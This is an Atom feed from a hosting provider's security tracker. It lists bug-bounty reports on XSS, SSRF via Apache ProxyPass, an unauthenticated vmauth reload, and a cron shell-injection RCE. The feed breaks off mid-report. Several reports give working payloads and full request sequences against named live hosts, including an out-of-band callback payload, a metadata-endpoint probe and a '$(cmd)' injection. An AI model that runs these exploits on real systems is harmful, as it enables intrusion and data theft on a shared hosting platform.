<?xml version="1.0" ?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title type="text">alwaysdata </title>
  <subtitle type="text">
    Feed for all projects
  </subtitle>
  <id>https://security.alwaysdata.com/</id>
    <updated>2026-10-09T13:12:44Z</updated>
  <link rel="self" type="text/xml" href="feed.php?feed_type=atom"/>
  <link rel="alternate" type="text/html" hreflang="en" href="/feed.php"/>
    <entry>
    <title>FS#523: Stored Cross-Site Scripting (XSS) via File Upload / PDF Rendering</title>
    <link href="https://security.alwaysdata.com/task/523" />    
    <updated>2026-10-09T13:12:44Z</updated>    
    <published>2026-10-09T13:04:09Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
<strong>Affected endpoint:</strong> `<a href="https://security.alwaysdata.com/?getfile=290" class="urlextern" title="https://security.alwaysdata.com/?getfile=290"  rel="nofollow">https://security.alwaysdata.com/?getfile=290</a>`
</p>

<p>
<strong>Vulnerability type:</strong> Cross-Site Scripting (XSS)<br /><strong>Status:</strong> Requires confirmation of application-origin execution<br /><strong>Severity:</strong> To be determined based on the execution context and affected users
</p>

<p>
## Summary
</p>

<p>
A potentially unsafe file-upload and file-rendering behavior was identified on the application. A test <acronym title="Portable Document Format">PDF</acronym>, `test-xss.pdf`, was uploaded and accessed through the application&#039;s file retrieval endpoint.
</p>

<p>
When the <acronym title="Portable Document Format">PDF</acronym> was opened, a browser notification displaying “XSS Tested Successfully” appeared, indicating that script-related behavior was triggered in the document-viewing workflow.
</p>

<p>
Further validation is required to determine whether the behavior constitutes stored XSS in the application&#039;s security origin or JavaScript execution isolated to the <acronym title="Portable Document Format">PDF</acronym> viewer.
</p>

<p>
## Steps to Reproduce
</p>

<p>
1. Upload a <acronym title="Portable Document Format">PDF</acronym> containing a benign JavaScript execution test through the application&#039;s file-upload functionality.<br />2. Open the uploaded file using the application&#039;s file retrieval endpoint.<br />3. Observe the <acronym title="Portable Document Format">PDF</acronym> viewer and check whether the test notification appears.<br />4. If authorized, verify the execution origin and whether the same behavior affects another user who opens the uploaded file.
</p>

<p>
## Observed Result
</p>

<p>
A browser notification displaying “XSS Tested Successfully” appeared while the <acronym title="Portable Document Format">PDF</acronym> was open in the browser.
</p>

<p>
## Expected Result
</p>

<p>
Uploaded files should be served and rendered safely. Untrusted document content must not execute script with privileges belonging to the application&#039;s origin.
</p>

<p>
## Security Impact
</p>

<p>
If the uploaded document can execute JavaScript in the application&#039;s origin when opened by another user, an attacker might be able to perform actions within that user&#039;s authenticated session, subject to the application&#039;s security controls.
</p>

<p>
If execution is confined to a sandboxed <acronym title="Portable Document Format">PDF</acronym> viewer or a separate origin, the impact may be substantially lower.
</p>

<p>
## Recommendations
</p>

<p>
* Serve untrusted uploads from a separate, appropriately isolated origin.<br />* Apply strict file-type validation and safe content-disposition headers.<br />* Configure an appropriate Content Security Policy where applicable.<br />* Ensure <acronym title="Portable Document Format">PDF</acronym> rendering and JavaScript execution follow the viewer&#039;s security model.<br />* Test uploaded files with a current, securely configured <acronym title="Portable Document Format">PDF</acronym> viewer.<br />* Verify that other users cannot be affected through the same upload-and-view workflow.
</p>

<p>
## Evidence
</p>

<p>
The supplied screenshot shows the notification “XSS Tested Successfully” while viewing `test-xss.pdf` through the application&#039;s file endpoint.
</p>
</div>
    </content>
    <author><name>Malaika Nasir</name></author>
    <id>https://security.alwaysdata.com/:523</id>
  </entry>
    <entry>
    <title>FS#521: Blind Cross-Site Scripting (XSS) via Contact Form — www.alwaysdata.com/en/contact/</title>
    <link href="https://security.alwaysdata.com/task/521" />    
    <updated>2026-10-09T12:58:31Z</updated>    
    <published>2026-10-09T11:42:10Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Severity: High 
</p>

<p>
Affected endpoint:<br /><a href="https://www.alwaysdata.com/en/contact/" class="urlextern" title="https://www.alwaysdata.com/en/contact/"  rel="nofollow">https://www.alwaysdata.com/en/contact/</a>
</p>

<p>
Affected field(s):<br />“Name” field (confirmed), “Message” field (submitted, pending confirmation — see note below)
</p>

<p>
Vulnerability class:<br />Blind Stored XSS / <acronym title="HyperText Markup Language">HTML</acronym> Injection (CWE-79)
</p>

<p>
Description:<br />The contact form on the above page does not appear to sanitize or encode user input before it is processed/stored/rendered elsewhere (e.g., in an internal admin panel, notification system, or email client used by staff). An <acronym title="HyperText Markup Language">HTML</acronym>/<acronym title="JavaScript">JS</acronym> payload submitted via the “Name” field triggered an out-of-band <acronym title="Domain Name Server">DNS</acronym> callback to a Burp Collaborator server, confirming execution outside of my own browser session.
</p>

<p>
Proof of Concept:<br />The following payload was submitted in the “Name” field:
</p>

<p>
html<br />&lt;img src=&quot;pleatfo27nan3vme473ekhdhy84zspge.oastify.com&quot;&gt;
</p>

<p>
Evidence of execution:<br />The Collaborator server logged two separate <acronym title="Domain Name Server">DNS</acronym> A-record lookups for the payload domain:
</p>

<p>
#	Time (UTC)	Type	Source IP<br />17	2026-10-09 11:22:33.308	<acronym title="Domain Name Server">DNS</acronym>	172.217.33.215<br />18	2026-10-09 11:22:33.331	<acronym title="Domain Name Server">DNS</acronym>	172.253.1.218
</p>

<p>
The lookups occurred shortly after submission, from IPs distinct from my own testing IP, indicating the payload was parsed/rendered by a system other than the submitting browser (consistent with internal review tooling, a notification pipeline, or similar).
</p>

<p>
Steps to Reproduce:
</p>

<p>
1. Navigate to <a href="https://www.alwaysdata.com/en/contact/" class="urlextern" title="https://www.alwaysdata.com/en/contact/"  rel="nofollow">https://www.alwaysdata.com/en/contact/</a> 2. In the “Name” field, enter: &lt;img src=&quot;[unique-id].oastify.com&quot;&gt; (or equivalent Collaborator/callback payload)<br />3. Fill remaining required fields with valid test data<br />4. Submit the form<br />5. Monitor the Collaborator/callback server for an inbound <acronym title="Domain Name Server">DNS</acronym>/<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> interaction<br />6. Observe the out-of-band callback confirming the payload was parsed as <acronym title="HyperText Markup Language">HTML</acronym> outside the submitter’s own session
</p>

<p>
Impact:<br />If rendered in an internal tool without sanitization, this could allow an attacker to execute arbitrary JavaScript in the context of whatever system/staff session processes contact form submissions — potentially enabling session token theft, internal tool manipulation, or lateral exposure, depending on that system’s privileges.
</p>

<p>
Suggested remediation:<br />Sanitize/encode all contact form input before storage, display, or forwarding to any internal system (output encoding appropriate to the destination context — <acronym title="HyperText Markup Language">HTML</acronym>-escape for <acronym title="HyperText Markup Language">HTML</acronym> rendering, etc.).<br />
</p>
</div>
    </content>
    <author><name>Malaika Nasir</name></author>
    <id>https://security.alwaysdata.com/:521</id>
  </entry>
    <entry>
    <title>FS#520: SSRF via Unrestricted Apache ProxyPass in Site API vhost_additional_directives Field</title>
    <link href="https://security.alwaysdata.com/task/520" />    
    <updated>2026-10-06T07:15:37Z</updated>    
    <published>2026-10-06T05:43:04Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Severity: High<br />CVSS 3.1 Score: 7.5<br />CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
</p>

<p>
Affected Endpoint: PATCH <a href="https://api.alwaysdata.com/v1/site/" class="urlextern" title="https://api.alwaysdata.com/v1/site/"  rel="nofollow">https://api.alwaysdata.com/v1/site/</a>{id}/<br />Vulnerable Field: vhost_additional_directives<br />Authentication Required: Yes (free account, <acronym title="Application Programming Interface">API</acronym> token)
</p>

<p>
 Summary
</p>

<p>
The alwaysdata REST <acronym title="Application Programming Interface">API</acronym> allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to any <acronym title="Uniform Resource Locator">URL</acronym>, including potentially internal services on alwaysdata&#039;s network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata&#039;s server IP (185.31.41.11), not from the attacker&#039;s IP.
</p>

<p>
 Technical Background
</p>

<p>
The alwaysdata <acronym title="Application Programming Interface">API</acronym> exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer&#039;s Apache site with no allowlist or blocklist enforced. Apache&#039;s mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request matching the configured path to an attacker-specified upstream <acronym title="Uniform Resource Locator">URL</acronym>, with the request originating from alwaysdata&#039;s server.
</p>

<p>
 Step-by-Step Reproduction
</p>

<p>
Step 1: Register a free account at <a href="https://www.alwaysdata.com/fr/inscription/" class="urlextern" title="https://www.alwaysdata.com/fr/inscription/"  rel="nofollow">https://www.alwaysdata.com/fr/inscription/</a> and create an <acronym title="Application Programming Interface">API</acronym> token from the admin panel under Profile &gt; Managing tokens. The token is used as the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic Auth username with a blank password.
</p>

<p>
Step 2: Create a free hosting account via the <acronym title="Application Programming Interface">API</acronym> to obtain a site resource ID.
</p>

<p>
Request:<br />POST /v1/account/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6  (base64 of token:)<br />Content-Type: application/json
</p>

<p>
{&quot;name&quot;:&quot;vapt1test&quot;,&quot;product&quot;:2012,&quot;location_object&quot;:3,&quot;password&quot;:&quot;TestPassword1!&quot;,&quot;contract_28&quot;:true,&quot;contract_36&quot;:true}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 201 Created
</p>

<p>
{
</p>
<pre class="code">  &quot;id&quot;: 504456,
  &quot;name&quot;: &quot;vapt1test&quot;,
  &quot;location_type&quot;: &quot;datacenter&quot;,
  &quot;location_object&quot;: 3,
  &quot;product&quot;: null,
  &quot;period&quot;: null,
  &quot;href&quot;: &quot;/v1/account/504456/&quot;</pre>

<p>
}
</p>

<p>
Step 3: List the site resource to get its ID.
</p>

<p>
Request:<br />GET /v1/site/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK
</p>

<p>
[
</p>
<pre class="code">  {
      &quot;id&quot;: 1083881,
      &quot;type&quot;: &quot;php&quot;,
      &quot;path&quot;: &quot;www/&quot;,
      &quot;vhost_additional_directives&quot;: null,
      &quot;addresses&quot;: [&quot;vapt1test.alwaysdata.net/&quot;],
      ...
  }</pre>

<p>
]
</p>

<p>
Step 4: Inject an Apache ProxyPass directive into the site configuration.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6<br />Content-Type: application/json<br />Content-Length: 121
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /ssrf-poc <a href="http://example.org/" class="urlextern" title="http://example.org/"  rel="nofollow">http://example.org/</a>\nProxyPassReverse /ssrf-poc <a href="http://example.org/" class="urlextern" title="http://example.org/"  rel="nofollow">http://example.org/</a>&quot;}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content<br />server: nginx<br />vary: Accept-Language, Cookie<br />strict-transport-security: max-age=31536000; includeSubDomains; preload
</p>

<p>
(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)
</p>

<p>
Step 5: Confirm the directive was stored.
</p>

<p>
Request:<br />GET /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK
</p>

<p>
{
</p>
<pre class="code">  &quot;id&quot;: 1083881,
  &quot;vhost_additional_directives&quot;: &quot;ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/&quot;,
  ...</pre>

<p>
}
</p>

<p>
Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata&#039;s Apache server (IP 185.31.41.11) to fetch example.org and return the response.
</p>

<p>
Request (sent from attacker browser):<br />GET /ssrf-poc <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Response received by attacker (actually fetched by 185.31.41.11 from example.org):<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 200 OK<br />Content-Type: text/html
</p>

<p>
&lt;!doctype html&gt;&lt;html lang=en&gt;&lt;head&gt;&lt;meta charset=utf-8&gt;<br />&lt;title&gt;Example Domain&lt;/title&gt;<br />… &lt;p&gt;This domain is for use in documentation examples without needing permission.&lt;/p&gt;<br />…
</p>

<p>
The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org&#039;s <acronym title="HyperText Markup Language">HTML</acronym>, fetched and returned by alwaysdata&#039;s own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.
</p>

<p>
 Step 7: Confirm the outbound request IP address using an IP reflection service.
</p>

<p>
I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /ssrf-ip <a href="http://ifconfig.me/" class="urlextern" title="http://ifconfig.me/"  rel="nofollow">http://ifconfig.me/</a>\nProxyPassReverse /ssrf-ip <a href="http://ifconfig.me/" class="urlextern" title="http://ifconfig.me/"  rel="nofollow">http://ifconfig.me/</a>&quot;}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content
</p>

<p>
Trigger:<br />GET /ssrf-ip <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Response body (the IP that made the request to ifconfig.me):<br />2a00:b6e0:1:20:23::1
</p>

<p>
This is alwaysdata&#039;s own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request to ifconfig.me was made by alwaysdata&#039;s server infrastructure, not by the attacker&#039;s IP.
</p>

<p>
 Additional Test: Attempt to Reach Cloud Metadata
</p>

<p>
Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /metadata <a href="http://169.254.169.254/" class="urlextern" title="http://169.254.169.254/"  rel="nofollow">http://169.254.169.254/</a>\nProxyPassReverse /metadata <a href="http://169.254.169.254/" class="urlextern" title="http://169.254.169.254/"  rel="nofollow">http://169.254.169.254/</a>&quot;}
</p>

<p>
Triggering:<br />GET /metadata <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.
</p>

<p>
 Impact
</p>

<p>
An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to any <acronym title="Uniform Resource Locator">URL</acronym> on demand. Direct consequences are:
</p>

<p>
1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata&#039;s private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.
</p>

<p>
2. IP reputation and access control bypass: Outbound requests from alwaysdata&#039;s server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata&#039;s infrastructure. If any internal or partner service trusts alwaysdata&#039;s IP range, that trust is transferred to the attacker.
</p>

<p>
3. Scanning alwaysdata&#039;s internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker&#039;s own IP appearing in any logs.
</p>

<p>
The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.
</p>

<p>
 CVSS 3.1
</p>

<p>
AV:N (exploitable over the internet)<br />AC:L (no special conditions, just an <acronym title="Application Programming Interface">API</acronym> call)<br />PR:L (free account required)<br />UI:N (no user interaction)<br />S:C (scope changed: requests originate from alwaysdata&#039;s server infrastructure, not the attacker&#039;s origin)<br />C:H (if internal services are reachable, full confidentiality of internal data)<br />I:N (no write to internal services confirmed)<br />A:N (no availability impact)
</p>

<p>
Score: 7.5 High
</p>

<p>
Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.
</p>

<p>
 Cleanup
</p>

<p>
I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).
</p>

<p>
PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;: null}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content
</p>

<p>
 Recommended Fix
</p>

<p>
Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account&#039;s own paths.
</p>

<p>
 Submission Notes
</p>

<p>
Submit via the alwaysdata security portal at <a href="https://security.alwaysdata.com" class="urlextern" title="https://security.alwaysdata.com"  rel="nofollow">https://security.alwaysdata.com</a> (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal&#039;s public .git directory).<br />
</p>
</div>
    </content>
    <author><name>Shubham Bothra</name></author>
    <id>https://security.alwaysdata.com/:520</id>
  </entry>
    <entry>
    <title>FS#519: Unauthenticated vmauth administrative config reload and internal metrics/pprof exposure on sandbox-f</title>
    <link href="https://security.alwaysdata.com/task/519" />    
    <updated>2026-10-05T10:41:49Z</updated>    
    <published>2026-10-05T10:40:00Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Summary<br />The host sandbox-fnonnenmacher2.paris1.alwaysdata.com runs vmauth v1.137.0, a VictoriaMetrics authentication proxy that protects an internal monitoring backend with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic Auth. Multiple administrative and diagnostic paths are exempt from authentication.
</p>

<p>
Two are materially impactful:
</p>

<p>
/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.
</p>

<p>
/metrics is unauthenticated. It leaks internal service-account usernames, config paths, <acronym title="Transport Layer Security">TLS</acronym> certificate paths, version information, and runtime telemetry.
</p>

<p>
Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.
</p>

<p>
Severity: Medium<br />CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5<br />Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.
</p>

<p>
Affected asset:
</p>

<p>
Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com
</p>

<p>
IP: 185.31.41.181
</p>

<p>
Service: vmauth v1.137.0
</p>

<p>
Steps to Reproduce / PoC<br />1. Confirm the authentication gate exists on the same host<br />bash<br />curl -sk -o /dev/null -w &#039;%{http_code}\n&#039; \
</p>
<pre class="code">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/</pre>

<p>
Expected:
</p>

<p>
text<br />401<br />This is the control: the root path is protected.
</p>

<p>
2. Confirm /metrics is exempt and leaks internal data<br />bash<br />curl -sk -o /dev/null -w &#039;%{http_code}\n&#039; \
</p>
<pre class="code">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</pre>

<p>
Expected:
</p>

<p>
text<br />200<br />Leaked data:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep -E &#039;username=|auth.config|tlsCertFile|version=&#039;</pre>

<p>
Observed output includes:
</p>

<p>
text<br />vmauth_user_concurrent_requests_capacity{username=&quot;admin&quot;}     1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;aldjango&quot;}  1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;grafana&quot;}   1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;telegraf&quot;}  1000
</p>

<p>
name=&quot;auth.config&quot;, value=&quot;/etc/vmauth/config.yml&quot;, is_set=&quot;true&quot;<br />name=&quot;tlsCertFile&quot;, value=&quot;/etc/ssl/certs/alwaysdata.org.bundle.pem&quot;, is_set=&quot;true&quot;<br />version=&quot;vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163&quot;<br />short_version=&quot;v1.137.0&quot;<br />These usernames are not otherwise obtainable without authentication.
</p>

<p>
3. Prove /-/reload is unauthenticated and state-changing<br />Baseline the reload counter:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Example:
</p>

<p>
text<br />vmauth_config_last_reload_total 7<br />Send an anonymous reload request:
</p>

<p>
bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload</a> Observed:
</p>

<p>
http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />x-server-hostname: sandbox-fnonnenmacher2<br />content-length: 0<br />Re-read the counter:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Observed:
</p>

<p>
text<br />vmauth_config_last_reload_total 8<br />Delta: 1
</p>

<p>
Repeat:
</p>

<p>
bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload</a> curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Observed:
</p>

<p>
text<br />vmauth_config_last_reload_total 9<br />Delta: 1
</p>

<p>
The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.
</p>

<p>
4. Control: sibling admin endpoint is correctly gated<br />bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit</a> Observed:
</p>

<p>
http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 401 Unauthorized<br />Www-Authenticate: Basic realm=&quot;Restricted&quot;<br />Counter delta: 0
</p>

<p>
This proves /-/reload is an omission, not a design where all admin routes are open.
</p>

<p>
5. Additional unauthenticated pprof exposure<br />bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline</a> Observed:
</p>

<p>
text<br />/usr/bin/vmauth -envflag.enable<br />The full pprof surface is exposed, including:
</p>

<p>
/debug/pprof/
</p>

<p>
/debug/pprof/cmdline
</p>

<p>
/debug/pprof/heap?debug=1
</p>

<p>
/debug/pprof/allocs?debug=1
</p>

<p>
/debug/pprof/goroutine?debug=2
</p>

<p>
/debug/pprof/trace?seconds=1
</p>

<p>
Impact<br />1. Unauthenticated administrative action<br />An anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.
</p>

<p>
2. Potential full authentication bypass if chained<br />/-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.
</p>

<p>
No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.
</p>

<p>
3. Internal information disclosure<br />/metrics and pprof leak:
</p>

<p>
Internal service-account names: admin, aldjango, grafana, telegraf
</p>

<p>
Configuration file path: /etc/vmauth/config.yml
</p>

<p>
<acronym title="Transport Layer Security">TLS</acronym> certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem
</p>

<p>
Exact vmauth version and Go runtime version
</p>

<p>
Process command line: /usr/bin/vmauth -envflag.enable
</p>

<p>
Heap, allocs, goroutine, mutex, and trace profiling data<br />
</p>
</div>
    </content>
    <author><name>Muhammad Yaseen</name></author>
    <id>https://security.alwaysdata.com/:519</id>
  </entry>
    <entry>
    <title>FS#518: Remote Code Execution</title>
    <link href="https://security.alwaysdata.com/task/518" />    
    <updated>2026-10-05T08:56:16Z</updated>    
    <published>2026-10-05T08:54:58Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<h3 id="titlecron_type_urls_accepts_single-quote_in_url_argument_shell_injection_remote_code_execution">Title: Cron TYPE_URLS Accepts Single-Quote in URL Argument — Shell Injection → Remote Code Execution</h3>
<div class="level3">

</div>

<h3 id="severitycritical">Severity: Critical</h3>
<div class="level3">

</div>

<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The cron job feature&#039;s TYPE_URLS type is documented as accepting &quot;a list of URLs to request&quot; — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the <acronym title="Application Programming Interface">API</acronym> accepts a single-quote &#039; character inside the <acronym title="Uniform Resource Locator">URL</acronym> argument without rejection. By injecting &#039;$(cmd)&#039; into the <acronym title="Uniform Resource Locator">URL</acronym>, the shell quoting is broken and cmd executes as a real command on alwaysdata&#039;s jobs server under the account&#039;s UID.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.

Step 1 — Write payload to file (prevents local shell expansion):
cat &gt; /tmp/job.json &lt;&lt; &#039;EOF&#039;
{
  &quot;type&quot;: &quot;TYPE_URLS&quot;,
  &quot;argument&quot;: &quot;http://x.com/&#039;$(id&gt;/home/YOUR_ACCOUNT/www/rce_proof.txt)&#039;&quot;,
  &quot;date_type&quot;: &quot;FREQUENCY&quot;,
  &quot;frequency&quot;: 1,
  &quot;frequency_period&quot;: &quot;minute&quot;
}
EOF

Step 2 — Create the malicious cron job:
curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  -X POST &quot;https://api.alwaysdata.com/v1/job/?format=json&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d @/tmp/job.json \
  -w &quot;\nHTTP STATUS: %{http_code}\n&quot;
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.

Step 3 — Wait up to 60 seconds for the cron to fire.

